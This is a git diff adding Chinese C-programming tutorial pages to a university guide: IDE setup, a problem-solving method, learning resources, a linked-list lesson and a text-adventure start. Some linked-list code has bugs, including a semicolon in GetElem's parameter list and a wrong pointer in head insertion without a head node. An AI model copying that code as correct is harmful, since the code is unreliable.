+在该网站进行下载，并安装，安装完成并打开后可以根据右下角的提示来修改显示语言等
+
+#### 安装编译器
+
+如果你电脑上下载有 VS，那么安装编译器这一环节可以省略。如果电脑上没有 VS，则需要安装 VS，或者下载其他 C 语言编译器，如 gcc，clang，icc 等
+
+### 创建“项目”
+
+vscode 的项目和 VS 不同，vscode 的项目比较松散，并没有 VS 那样是一套非常完善的项目系统。
+
+首先需要一个空文件夹，并在 vscode 里打开这个文件夹。然后点击文件 - 新建文本文件，并选择语言为 C 语言。此时如果你是第一次创建 C 语言文件，那么右下角会弹出提示，提示你安装 C/C++ 插件，安装即可。
+
+### 编写代码并运行
+
+编写完代码后，保存文件，并点击运行 - 启动调试
+
+![](https://cdn.xyxsw.site/boxcnim98FJybpkGl8sfqxP9v9b.png)
+
+此时会弹出如下选择框，我的电脑上同时安装有 VS 和 gcc 编译器，因此有两个，大部分的电脑上应该只有一个“C++ (Windows)”，选择你电脑上的编译器并运行即可。
+
+至此就已经完成了编程和调试的基本功能。如果你想要更丰富的功能，比如多文件编译等等，可以自行去网上搜索相关的配置教程。vscode 配置好了是非常好用的，但缺点就在于配置比较麻烦。
+
+## Windows-CLion
+
+CLion 是 jetbrains 家族的 C 语言 IDE
+
+[https://www.jetbrains.com/clion/](https://www.jetbrains.com/clion/)
+
+收费软件，但可以从 GitHub 学生包里白嫖，喜欢折腾或者喜欢 jetbrains 家族软件风格的可以自己去折腾折腾。
+
+## Mac OS-Visual Studio Code
+
+用法和 Windows 的差不多，但由于 Mac OS 自带 clang 编译器，所以无需额外安装编译器。
+
+> NX 的留言：
+> 使用自带的 clang 的确没问题，但是如果你想在 macOS 上使用 gcc/g++ ，[可参考鄙人的博客 在 Mac 的 VSC 中使用 g++ 编译器](https://nickxu.me/2023/04/04/%E5%9C%A8Mac%E7%9A%84VSCode%E4%B8%AD%E4%BD%BF%E7%94%A8g-%E7%BC%96%E8%AF%91%E5%99%A8)
+
+## Mac OS-CLion
+
+同样和 Windows 的差不多。
+
+## Mac OS-Xcode
+
+XCode 是 mac 官方的 IDE，能编写所有 mac 家族设备的软件。但缺点是没有中文。
+
+![](https://cdn.xyxsw.site/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png)
+
+打开以后选择 Create a new Xcode project，选择 macOS-Command Line Tool
+
+![](https://cdn.xyxsw.site/boxcnbnrVCmNGfriHhU5pL76gsd.png)
+
+![](https://cdn.xyxsw.site/boxcnnjaObP5JzpICUx1PMO9MQg.png)
+
+两个空里第一个填项目名，第二个随便填就行
+
+next 后选择项目保存的位置，之后即可到达以下界面：
+
+![](https://cdn.xyxsw.site/boxcnl06p0ZS8SSQsWJNLQLYIjc.png)
+
+点左上方小三角即可运行
+
+在行号上点击并运行即可调试
+
+![](https://cdn.xyxsw.site/boxcnmRygjmZfwFzODP2N6bVoEh.png)
+
+## Linux
+
+### 你都用 Linux 了你还来问我？一边玩去
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md
new file mode 100644
index 0000000..c2cc8d3
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md
@@ -0,0 +1,67 @@
+# 解决编程问题的普适性过程
+
+- 本篇不需要任何前置知识，推荐在学习 C 语言和学完 C 语言后各看一遍。
+- 我们鼓励你在解决问题的时候进行思考，锻炼解决问题的能力，而不只是成为一个做代码翻译工作的“码农”。
+
+![](https://cdn.xyxsw.site/YAOvb6gquofiAYxsn3tcxcCYngf.png)
+
+解决编程问题的常见误区：
+
+从编写代码入手，抓来就写（没有任何计划），对于简单编程问题，也许它是有效的，但往往它不可避免的不起作用。然后花费无数个小时试图修复代码（依旧没有任何计划），由于没有明确的计划来做什么，当“修复”代码时，往往导致它变得更复杂、更混乱。最终这个程序有点奏效，你对此心满意足。
+
+相反，你应该以一种严谨的方式设计一种算法。下图显示了如何设计算法。然而，请注意，“编写代码”只有在你有了一个经过手动测试的算法之后，才能在你建立计划之前给你一些信心，证明你的计划是可靠的。
+
+如果你计划得足够好并且代码编写得正确，你的代码将在第一次工作。即便它第一次不起作用，那么你至少有一个对于代码如何调试的可靠计划。
+
+![](https://cdn.xyxsw.site/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png)
+
+## Work an Example Yourself
+
+尝试设计算法的第一步是**自己（手动）处理至少一个问题实例，为每个参数选择特定值。**往往需要确定**一个正确的示例，以及错误的示例。**
+
+如果你在这一步陷入困境，这通常意味着两件事中的一件。第一种情况是问题不明确，不清楚你应该做什么。在这种情况下，你必须在继续之前解决问题。如果你正在解决自己创造的问题，你可能需要更仔细地思考正确的答案应该是什么，并完善你对问题的定义。
+
+第二种情况是，缺乏领域知识，即问题所涉及的特定领域或学科的知识。也许你应该适当补充学习对应的知识。注意，领域知识可能来自数学以外的领域。它可以来自任何领域，因为编程对于处理任何类型的信息都很有用。
+
+## Write Down What You Just Did
+
+这一步中，必须思考解决问题所做的工作，并写下**解决该特定实例的步骤。**思考这一步骤的另一种方式是，写下一组清晰的指示，**其他人可以按照这些指示来重现刚刚解决的特定问题实例的答案**。如果在步骤 1 中执行了多个实例，那么也将重复步骤 2 多次，对步骤 1 中的每个实例重复一次。如果一条指令有点复杂，那没关系，只要指令稍后有明确的含义，我们将把这些复杂的步骤转化为它们自己的编程问题，这些问题将单独解决。
+
+## Generalize Your Steps
+
+**将步骤 2 得到的具体步骤，抽象为一般性的结论。**有时可能很难概括步骤。发生这种情况时，返回步骤 1 和 2 可能会有所帮助。做更多的问题实例将提供更多的信息供参考，更能帮助深入算法。这个过程通常被称为编写“伪代码”，以编程方式设计算法，而不使用特定的目标语言。几乎所有的程序员在编写任何实际代码之前都会使用这种方法来确保他们的算法是正确的。
+
+## Test Your Algorithm
+
+在步骤 3 之后，我们有了一个我们认为正确的算法。然而，我们完全有可能在这一路上搞砸了。步骤 4 的主要目的是确保我们的步骤在继续之前是正确的。为了实现这一点，我们使用**不同于设计算法时使用的参数值**来测试我们的算法。我们手动执行算法，并将其获得的答案与正确的答案进行比较。如果它们不同，那么我们知道我们的算法是错误的。我们使用的测试用例（参数值）越多，我们就越能确信我们的算法是正确的。不幸的是，通过测试无法确保我们的算法是正确的。要完全确定你的算法是正确的，唯一的方法就是正式证明它的正确性（使用数学证明），这超出了这个专门化的范围。
+
+确定好的测试用例是一项重要的技能，可以随着实践而提高。对于步骤 4 中的测试，您需要使用至少产生几个不同答案的情况进行测试（例如，如果您的算法有“是”或“否”答案，则应使用同时产生“是”和“否”的参数进行测试）。您还应该测试任何角落情况，其中行为可能与更一般的情况不同。每当您有条件决定（包括计算位置的限制）时，您应该在这些条件的边界附近测试潜在的角点情况。
+
+## Translation to Code
+
+既然你对你的算法很有信心，那么是时候把它翻译成代码了。大多数时候，你会想将代码输入编辑器，以便编译和运行程序。
+
+## Test Program
+
+- [黑盒测试](https://zh.wikipedia.org/wiki/%E9%BB%91%E7%9B%92%E6%B5%8B%E8%AF%95)
+
+在黑盒测试中，测试人员只考虑功能的预期行为，而不考虑设计测试用例的任何实现细节。缺乏对实现细节的访问是这种测试方法的由来——函数的实现被视为测试人员无法查看的“黑盒子”。
+
+事实上我们无需执行步骤 1-5 就能够为假设问题设想好的测试用例。实际上，在开始解决问题之前，您可以针对问题提出一组黑盒测试。一些程序员提倡**测试优先**的开发方法。一个优点是，如果您在开始之前编写了一个全面的测试套件，那么在实现代码之后就不太可能在测试上有所疏漏。另一个优点是，通过提前考虑你的情况，你在开发和实现算法时能够降低错误率。
+
+- 选择测试用例的一些建议
+
+1. 确保测试涵盖所有错误情况。
+2. 确保测试“太多”和“太少”。例如，如果程序需要一行正好有 10 个字符的输入，则用 9 个和 11 个进行测试。
+3. 任何给定的测试用例只能测试一个“错误”条件。这意味着，如果要测试两个不同的错误条件，则需要两个不同测试用例。
+4. 准确地在有效性边界处进行测试。
+
+- [白盒测试](https://zh.wikipedia.org/wiki/%E7%99%BD%E7%9B%92%E6%B5%8B%E8%AF%95)
+
+与黑盒测试不同，白盒测试涉及检查代码以设计测试用例。白盒测试中的一个考虑因素是测试覆盖率——描述测试用例如何覆盖代码的不同行为。
+
+请注意，虽然白盒和黑盒测试不同，但它们不是互斥的，而是互补的。可以从形成一组黑盒测试用例开始，实现算法，然后创建更多测试用例以达到所需的测试覆盖率。
+
+## Debug Program
+
+一旦在代码中发现了问题，就需要修复它，这个过程称为调试。许多新手程序员（甚至一些经验丰富的程序员）以临时方式调试，试图更改代码中的某些内容，并希望它能解决他们的问题。这样的方法很少有效，常常会导致很多挫折。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.4C语言前置概念学习.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.4C语言前置概念学习.md
new file mode 100644
index 0000000..331e006
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.4C语言前置概念学习.md
@@ -0,0 +1,45 @@
+# C 语言前置概念学习
+
+如何学习 C 语言？**第一步:Throw away the textbook。**也许你可以通过以下途径：
+
+以下方式难度由易到难，但并不意味着收获由小到大：
+
+1.Video：[B 站翁恺的 C 语言课程](https://www.bilibili.com/video/BV1dr4y1n7vA)（非常基础，缺点是只看视频学的过浅）
+
+<Bilibili bvid='BV1dr4y1n7vA'/>
+
+2.MOOC：[翁凯 C 课程的 MOOC 慕课](https://www.icourse163.org/course/ZJU-9001)（同上，慕课的习题和 Projects 性价比不高，几乎没有差别）
+
+3.Web：[菜鸟教程](https://www.runoob.com/cprogramming/c-tutorial.html)（基础但是覆盖面较广，不够深入）
+
+4.Web：[CNote](https://github.com/coderit666/CNote)（例子密集，学习曲线平滑，覆盖面广且具有深度）
+
+::: tip 📥
+《C Primer Plus》（第六版中文版）（216MB）附件下载 <Download url="https://cdn.xyxsw.site/files/C%20Primer%20Plus%E7%AC%AC6%E7%89%88%20%E4%B8%AD%E6%96%87%E7%89%88.pdf"/>
+:::
+
+5.Book：**教材替换用书——《C Primer Plus》！**（基础且深入的恰到好处，有一定拓展，可能后面的章节有点难懂，是一本不可多得的好书，不要忽视课本习题及 Projects）
+
+6.MOOC：[Introductory C Programming 专项课程](https://www.coursera.org/specializations/c-programming)（**全英文**，好处是涉及到计算机思维，包含许多常用 tools 的教学例如 git、make、emacs、gdb，视频讲解结合文档阅读，对于 C 的重要核心知识讲解透彻，难度颇高，建议用作提升）
+
+7.Web：[LinuxC 一站式编程](https://akaedu.github.io/book/)（难度大，枯燥硬核，收获多，基于 linux）
+
+## 学习建议：可以选择其一或多种学习
+
+- 对于缺乏计算机基础（这里的基础指的是计算机的日常使用）的同学，（1、2）是不错的选择，但在学完后要选择 4、5、6 进行补充巩固提高。
+- 对于有一定计算机基础的同学，直接上手 4、5、6 都是很不错的选择。
+- 对于有一定 linux 基础以及计算机基础的同学，或是同时想同步学习 linux 的同学，7 是可选择的。
+
+关于“6.Introductory C Programming 专项课程”的一些思考
+
+该课程的免费修读需要在 coursera 上申请助学金（并不困难）[申请教程](https://zhuanlan.zhihu.com/p/394479617)。
+
+对于以上几种方式，6 有其特殊性，6 不仅仅是对于 C 语言的学习，其其中包含的计算机思维，Tools 的使用等等都有其普遍适用性。对比其他方式（包含学校课程）不难发现，对于计算机思维的训练与提升，在一定程度上，我们存在着缺失，但它又是极其重要的，如果你希望在学习 C 的同时又有其他多方面的提升，强烈建议你试试该课程（不要被英语劝退！[2.5 以理工科的方式阅读英语](../2.%E9%AB%98%E6%95%88%E5%AD%A6%E4%B9%A0/2.5%E4%BB%A5%E7%90%86%E5%B7%A5%E7%A7%91%E7%9A%84%E6%96%B9%E5%BC%8F%E9%98%85%E8%AF%BB%E8%8B%B1%E8%AF%AD.md) ）。
+
+当然你也可以通过其他方式培养计算机思维以及学习 Tools 的使用。但是越早培养，越有优势。
+
+计算机思维与计算机科学与编码能力
+
+![](https://cdn.xyxsw.site/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png)
+
+### **CS education is more than just “learning how to code”!**
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md
new file mode 100644
index 0000000..91dffb7
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md
@@ -0,0 +1,348 @@
+# C 语言自测标准——链表
+
+## 链表（单链表）是什么
+
+链表又称单链表、链式存储结构，用于存储逻辑关系为“一对一”的数据。
+
+使用链表存储数据，不强制要求数据在内存中集中存储，各个元素可以分散存储在内存中。例如，使用链表存储 {1,2,3}，各个元素在内存中的存储状态可能是：
+
+![](https://cdn.xyxsw.site/boxcnuwZzqX4dF8xKTYajwrDSxf.png)
+
+可以看到，数据不仅没有集中存放，在内存中的存储次序也是混乱的。那么，链表是如何存储数据间逻辑关系的呢？
+
+链表存储数据间逻辑关系的实现方案是：为每一个元素配置一个指针，每个元素的指针都指向自己的直接后继元素，如下图所示：
+
+![](https://cdn.xyxsw.site/boxcnAnkVAJmMT0NSNvo6crXYAd.png)
+
+显然，我们只需要记住元素 1 的存储位置，通过它的指针就可以找到元素 2，通过元素 2 的指针就可以找到元素 3，以此类推，各个元素的先后次序一目了然。像图 2 这样，数据元素随机存储在内存中，通过指针维系数据之间“一对一”的逻辑关系，这样的存储结构就是链表。
+
+### 结点（节点）
+
+在链表中，每个数据元素都配有一个指针，这意味着，链表上的每个“元素”都长下图这个样子：
+
+![](https://cdn.xyxsw.site/boxcncRc5OKZROtxC9rpQYxrjvf.png)
+
+数据域用来存储元素的值，指针域用来存放指针。数据结构中，通常将这样的整体称为结点。
+
+也就是说，链表中实际存放的是一个一个的结点，数据元素存放在各个结点的数据域中。举个简单的例子，图 3 中 {1,2,3} 的存储状态用链表表示，如下图所示：
+
+![](https://cdn.xyxsw.site/boxcn0VMYQlez7tQTNkTPDkCsvg.png)
+
+在 C 语言中，可以用结构体表示链表中的结点，例如：
+
+```c
+typedef struct Node{
+    int elem;                    //代表数据域
+    struct Node * next;         //代表指针域，指向直接后继元素
+}Node;
+typedef struct Node* Link;
+```
+
+### 头结点、头指针和首元结点
+
+图 4 所示的链表并不完整，一个完整的链表应该由以下几部分构成：
+
+头指针：是指向链表中一个结点所在存储位置的指针。如果链表中有头结点，则头指针指向头结点；若链表中没有头结点，则头指针指向链表中第一个数据结点（也叫首元结点）。
+
+链表有头指针，当我们需要使用链表中的数据时，我们可以使用遍历查找等方法，从头指针指向的结点开始，依次搜索，直到找到需要的数据；反之，若没有头指针，则链表中的数据根本无法使用，也就失去了存储数据的意义。
+
+结点：链表中的节点又细分为头结点、首元结点和其它结点：
+
+头结点：位于链表的表头，即链表中第一个结点，其一般不存储任何数据，特殊情况可存储表示链表信息（表的长度等）的数据。
+
+头结点的存在，其本身没有任何作用，就是一个空结点，但是在对链表的某些操作中，链表有无头结点，可以直接影响编程实现的难易程度。
+
+例如，若链表无头结点，则对于在链表中第一个数据结点之前插入一个新结点，或者对链表中第一个数据结点做删除操作，都必须要当做特殊情况，进行特殊考虑；而若链表中设有头结点，以上两种特殊情况都可被视为普通情况，不需要特殊考虑，降低了问题实现的难度。
+
+**链表有头结点，也不一定都是有利的。例如解决约瑟夫环问题，若链表有头结点，在一定程度上会阻碍算法的实现。**
+
+**所以，对于一个链表来说，设置头指针是必要且必须的，但有没有头结点，则需要根据实际问题特殊分析。**
+
+首元结点：指的是链表开头第一个存有数据的结点。
+
+其他节点：链表中其他的节点。
+
+也就是说，一个完整的链表是由头指针和诸多个结点构成的。每个链表都必须有头指针，但头结点不是必须的。
+
+例如，创建一个包含头结点的链表存储 {1,2,3}，如下图所示：
+
+![](https://cdn.xyxsw.site/boxcnjAoO54txAhnu7Ry8ExjGvc.png)
+
+## 链表的创建
+
+创建一个链表，实现步骤如下：
+
+1. 定义一个头指针；
+2. 创建一个头结点或者首元结点，让头指针指向它；
+3. 每创建一个结点，都令其直接前驱结点的指针指向它（尾插法/头插法）。
+
+### 创建头指针和头结点（首元结点）
+
+```c
+typedef struct Node{
+    int elem;                                 //代表数据域
+    struct Node * next;         //代表指针域，指向直接后继元素
+}Node;
+typedef struct Node* Link;
+-----------------------------------------------------------------------
+Link* head = (Link*)malloc(sizeof(Link));                //创建头指针
+*head = (Link)malloc(sizeof(Node));//创建头结点（首元结点）
+(*head)->elem = element;//头结点可以不存储数据或存储特殊数据
+(*head)->next = NULL;//初始头结点/首元结点的后继元素为空
+```
+
+### 创建结点——头插法
+
+```c
+Link p;                                                                                        
+while (Judgement)                                                                //for 同理
+{
+    p = (Link)malloc(sizeof(Node));
+    p->elem = element;
+    p->next = (*head)->next;
+    (*head)->next = p;
+}
+```
+
+![](https://cdn.xyxsw.site/boxcn8ZxT5oMkScArZjZhgM6TYb.png)
+
+### 创建结点——尾插法
+
+```c
+Link p;
+Link r = (*head);           //临时中间结构指针，在尾插法中始终指向最后一个结点
+while (Judgement)           //for 同理
+{
+    p = (Link)malloc(sizeof(Node));
+    p->elem = element;
+    p->next = NULL;
+        r->next = p;
+    r = p;
+}
+```
+
+![](https://cdn.xyxsw.site/boxcnnMjc9pwgZgk1GBmBRlBS6d.png)
+
+## 链表的基本操作
+
+学会创建链表之后，本节继续讲解链表的一些基本操作，包括向链表中添加数据、删除链表中的数据、读取、查找和更改链表中的数据。
+
+### 链表读取元素
+
+获得链表第 i 个数据的算法思路：
+
+1. 声明一个结点 p 指向链表的第一个结点，初始化 j 从 1 开始；
+2. 当 j<i 时，就遍历链表，让 p 的指针向后移动，不断指向下一个结点，j 累加 1；
+3. 若到链表末尾 p 为空，则说明第 i 个元素不存在；
+4. 否则读取成功，返回结点 p 的数据
+
+实现代码如下：
+
+```c
+#define error 0
+#define ok 1
+/*用 e 返回 L 中第 i 个数据元素的值*/
+int GetElem(Link *L, int i; int *e)
+{
+    Link p;                                        
+    p = (*L)->next;           //p 指向第一个结点
+    int j  = 1;
+    while (p && j  < i)       //p 不为空或者计数器 j 还没有等于 i 时，循环继续
+    {
+        p  =  p->next;        //p 指向下一个结点
+        j++;
+    }
+    if (!p)                   //第 i 个元素不存在
+        return error;
+    *e = p->elem;             //取第 i 个元素的数据
+    return ok;
+}
+```
+
+了解了链表如何读取元素，同理我们可以实现更新和查找链表元素。
+
+### 链表插入元素
+
+向链表中增添元素，根据添加位置不同，可分为以下 3 种情况：
+
+- 插入到链表的头部，作为首元节点；
+- 插入到链表中间的某个位置；
+- 插入到链表的最末端，作为链表中最后一个结点；
+
+对于有头结点的链表，3 种插入元素的实现思想是相同的，具体步骤是：
+
+1. 将新结点的 next 指针指向插入位置后的结点；
+2. 将插入位置前结点的 next 指针指向插入结点；
+
+例如，在链表 `{1,2,3,4}` 的基础上分别实现在头部、中间、尾部插入新元素 5，其实现过程如图所示：
+
+![](https://cdn.xyxsw.site/boxcnxjex5Q3Lt9AAx6roN3ClUg.png)
+
+从图中可以看出，虽然新元素的插入位置不同，但实现插入操作的方法是一致的，都是先执行步骤 1，再执行步骤 2。实现代码如下：
+
+```c
+/*在 L 中第 i 个位置（注意链表中的位置不一定为结点的个数）之前插入新的数据元素 e，
+L 的长度加一（可以用头结点存储链表长度）*/
+int ListInsert(Link *L, int i, int e)
+{
+    Link p, r;          //r 为临时中间结构指针，用于实现插入
+    p = *L;             //p 指向头结点
+    int j  = 1;
+    while (p && j  < i) //寻找第 i 个结点，
+    {
+        p  =  p->next;
+        j++;
+    }
+    if (!p)
+            return error;
+    r = (Link)malloc(sizeof(Node));
+    r->elem = e;
+    r->next = p->next;
+    p->next = r;
+    return  ok;
+}
+```
+
+注意：链表插入元素的操作必须是先步骤 1，再步骤 2；反之，若先执行步骤 2，除非再添加一个指针，作为插入位置后续链表的头指针，否则会导致插入位置后的这部分链表丢失，无法再实现步骤 1。
+
+对于没有头结点的链表，在头部插入结点比较特殊，需要单独实现。
+
+![](https://cdn.xyxsw.site/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png)
+
+和 2)、3) 种情况相比，由于链表没有头结点，在头部插入新结点，此结点之前没有任何结点，实现的步骤如下：
+
+1. 将新结点的指针指向首元结点；
+2. 将头指针指向新结点。
+
+实现代码如下：
+
+```c
+/*在 L 中第 i 个位置（注意链表中的位置不一定为结点的个数）之前插入新的数据元素 e，
+L 的长度加一（可以用头结点存储链表长度）*/
+int ListInsert(Link *L, int i, int e)
+{
+    if (i == 1)
+    {
+        Link r = (Link)malloc(sizeof(Node));
+        r->elem = e;
+        r->next = (*L)->next;
+        *L = r;
+    }
+    else
+    {
+        //......
+    }
+}
+```
+
+### 链表删除元素
+
+从链表中删除指定数据元素时，实则就是将存有该数据元素的节点从链表中摘除。
+
+对于有头结点的链表来说，无论删除头部（首元结点）、中部、尾部的结点，实现方式都一样，执行以下三步操作：
+
+1. 找到目标元素所在结点的直接前驱结点；
+2. 将目标结点从链表中摘下来;
+3. 手动释放结点占用的内存空间；
+
+从链表上摘除目标节点，只需找到该节点的直接前驱节点 temp，执行如下操作：
+
+```c
+temp->next=temp->next->next;
+```
+
+例如，从存有 `{1,2,3,4}` 的链表中删除存储元素 3 的结点，则此代码的执行效果如图 3 所示：
+
+![](https://cdn.xyxsw.site/boxcnn3QHja0tzEwqJl9Mk4KnCg.png)
+
+实现代码如下：
+
+```c
+/*删除 L 中的第 i 个数据元素，并用 e 返回其值，L 的长度减一
+（可以用头结点存储链表长度）*/
+int ListDelete(Link *L, int i, int* e)
+{
+    Link p, r;
+    p = *L;
+    int j = 1;
+    while (p->next &&  j < i)        //寻找删除元素中的前驱元素
+    {
+        p = p->next;
+        j++;
+    }
+    if (!(p->next))
+        return error;                        //L 中不存在第 i 个元素
+    r = p->next;                             //标记要删除的结点
+    p->next =  r->next;                      //移除结点
+    *e =  r->elem;                           //返回结点所存数据
+    free(r);                                 //释放结点
+    return ok;
+}
+```
+
+对于不带头结点的链表，需要单独考虑删除首元结点的情况，删除其它结点的方式和图 3 完全相同，如下图所示：
+
+![](https://cdn.xyxsw.site/boxcnXjwE0yDFvpQxLaPw7FifxV.png)
+
+实现代码如下：
+
+```c
+/*删除 L 中的第 i 个数据元素，并用 e 返回其值，L 的长度减一
+（可以用头结点存储链表长度）*/
+int ListDelete(Link *L, int i, int* e)
+{
+    if (i == 1)
+    {
+        Link r = *L;
+        *L= r->next;
+        *e = r->elem;
+        free(r);
+    }
+    else
+    {
+        //......
+    }
+}
+```
+
+### 链表查找元素
+
+在链表中查找指定数据元素，最常用的方法是：从首元结点开始依次遍历所有节点，直至找到存储目标元素的结点。如果遍历至最后一个结点仍未找到，表明链表中没有存储该元素。
+
+### 链表更新元素
+
+更新链表中的元素，只需通过遍历找到存储此元素的节点，对节点中的数据域做更改操作即可。
+
+## 约瑟夫环
+
+约瑟夫环问题，是一个经典的循环链表问题，题意是：已知 n 个人（分别用编号 1，2，3，…，n 表示）围坐在一张圆桌周围，从编号为 k 的人开始顺时针报数，数到 m 的那个人出列；他的下一个人又从 1 开始，还是顺时针开始报数，数到 m 的那个人又出列；依次重复下去，直到圆桌上剩余一个人。
+
+如图所示，假设此时圆周周围有 5 个人，要求从编号为 3 的人开始顺时针数数，数到 2 的那个人出列：
+
+![](https://cdn.xyxsw.site/boxcngx7ZPA7pONbJo82LbNCO1g.png)
+
+出列顺序依次为：
+
+- 编号为 3 的人开始数 1，然后 4 数 2，所以 4 先出列；
+- 4 出列后，从 5 开始数 1，1 数 2，所以 1 出列；
+- 1 出列后，从 2 开始数 1，3 数 2，所以 3 出列；
+- 3 出列后，从 5 开始数 1，2 数 2，所以 2 出列；
+- 最后只剩下 5 自己，所以 5 胜出。
+
+那么，究竟要如何用链表实现约瑟夫环呢？如何让一个含 5 个元素的约瑟夫环，能从第 5 个元素出发，访问到第 2 个元素呢？上面所讲的链表操作显然是难以做到的，解决这个问题就需要用到**循环链表**。
+
+## 循环链表
+
+将单链表中终端结点的指针端由空指针改为指向头结点，使得整个单链表形成一个环，这种头尾相接的单链表成为单循环链表，简称循环链表。
+
+循环链表解决了一个很麻烦的问题。如何从当中一个结点出发，访问到链表的全部结点。
+
+为了使空链表和非空链表处理一致，我们通常设一个头结点，当然，并不是说，循环链表一定要头结点，这需要注意。循环链表带有头结点的空链表如图所示：
+
+![](https://cdn.xyxsw.site/boxcn3l30usevMTgv1ZbZ0mfJdh.png)
+
+对于非空的循环链表如图所示：
+
+![](https://cdn.xyxsw.site/boxcngoLTiM9wto9uCGzH7nkjkW.png)
+
+循环链表和单链表的主要差异就在于循环的判断条件上，原来是判断 p->next 是否为空，现在则是 p->next 不等于头结点，则循环未结束。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5阶段一：编程属性.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5阶段一：编程属性.md
new file mode 100644
index 0000000..4a17c32
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5阶段一：编程属性.md
@@ -0,0 +1,45 @@
+# 阶段一：编程属性
+
+## [C 语言任务模块](https://github.com/E1PsyCongroo/HDU_C_Assignments/)
+
+作为一名合格的大学生，更应深谙“纸上得来终觉浅，绝知此事要躬行”的道理，编程语言就像是一个工具，无论你如何熟读说明书（语法、特性），未经实践终究是靠不住的。
+
+本模块将以有趣的任务的形式替你检测是否你已经达到了基本掌握 C 语言语法和一些特性的目的
+
+- 该任务模块旨在帮助巩固 C 语言基础知识，传递一些编程思维，入门学习请看 [3.4.4C 语言前置概念学习](3.4.4C%E8%AF%AD%E8%A8%80%E5%89%8D%E7%BD%AE%E6%A6%82%E5%BF%B5%E5%AD%A6%E4%B9%A0.md)
+- 你可以通过使用 git 工具 `git clone https://github.com/E1PsyCongroo/HDU_C_Assignments.git` 获取任务
+- 或者访问 [https://github.com/E1PsyCongroo/HDU_C_Assignments](https://github.com/E1PsyCongroo/HDU_C_Assignments) 学习
+
+## 任务一做前必查
+
+1. 理解[3.4.3 解决编程问题的普适性过程](3.4.3%E8%A7%A3%E5%86%B3%E7%BC%96%E7%A8%8B%E9%97%AE%E9%A2%98%E7%9A%84%E6%99%AE%E9%80%82%E6%80%A7%E8%BF%87%E7%A8%8B.md) 。
+2. 理解 C 语言语法基础：变量、表达式、函数、判断、循环、常用标准库函数。
+3. 理解 C 语言中的一切都是数字。
+4. 初步理解 C 语言各类数据类型：基本数据类型和复杂自定义数据类型。
+5. 初步理解 C 语言数组及字符串。
+
+## 任务二做前必查
+
+1. 深入理解 C 语言指针、数组和字符串。
+2. 理解递归思想。
+3. 理解复杂自定义数据类型。
+
+## 请阅读各个任务的 README.md，了解完成任务所需的前置知识
+
+进阶：评价一个程序，大体分为以下四个层次。
+
+1.程序没有语法错误。
+
+2.程序对于合法的输入数据能够产生满足要求的输入结果。
+
+3.程序对于非法的输入数据能够得出满足规格说明的结果。
+
+4.程序对于精心选择的，甚至刁难的测试数据都有满足要求的输入结果。
+
+在你写完这些代码后会不会感觉你的代码不够优雅呢？
+
+假设你的逻辑更为复杂，需要完成的功能更多，如果全部写在 main 里面你会不会觉得越来越困难呢？
+
+有没有一种方法可以让你更为优雅的把每一个功能拆分开呢？
+
+当然有，在下一章，你会深刻的体会到函数的意义
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.1.开始冒险.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.1.开始冒险.md
new file mode 100644
index 0000000..96323ed
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.1.开始冒险.md
@@ -0,0 +1,30 @@
+# 1.开始冒险
+
+让我们从一个最基本的函数开始
+
+```c
+#include <stdio.h>
+
+int main()
+{
+   printf("Welcome to Little Cave Adventure.\n");
+   printf("It is very dark in here.\n");
+   printf("\nBye!\n");
+   return 0;
+}
+```
+
+输出样例：
+
+Welcome to Little Cave Adventure.
+It is very dark in here.
+
+Bye!
+
+尽管可能微不足道，但该程序确实展示 *了*任何文本冒险中最重要的方面：描述性文本。一个好的故事是制作一款好的冒险游戏的要素之一。
+
+## 为什么要用英文？
+
+因为中文的编码模式可能会带来奇怪的影响。
+
+思考题：大家可自行去了解 utf-8，GDB 等编码模式及其历程
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.10.增添属性.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.10.增添属性.md
new file mode 100644
index 0000000..beb9afc
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.10.增添属性.md
@@ -0,0 +1,508 @@
+# 10.增添属性
+
+我们在第 4 章中介绍 object 时，它们只有三个属性。
+
+在第 6 章中，我们增加了第四个。这他妈太少了！
+
+为了在我们的冒险中加入更多细节，我们需要更多的属性。下面是一些示例。
+
+1. 环顾四周这个命令可以给出玩家位置的全局描述，包括在那里的物品、NPC 和其他对象的列表。很多冒险活动都需要玩家对这些对象进行查询，从而揭示出在游戏中获得进展所需要的某些线索，或者简单地提升游戏的氛围。我们将添加一个对每个对象都有详细说明的属性细节，加上一个与包含其他对象的对象一起使用的属性内容。
+2. 如果玩家开始一段话时，响应总是“OK”和新位置的描述。这似乎有点沉闷。所以，为每个段落提供自己的自定义消息会更好。我们将添加一个属性 textGo 来保存此消息。
+3. 有些通道可能是特殊设定的，比如说传送门，陷阱等等。
+
+举个例子，一条林道可能隐藏着陷阱。虽然通道似乎从位置 A 通向位置 B，但实际上终点是位置 C，即掉进坑了。
+
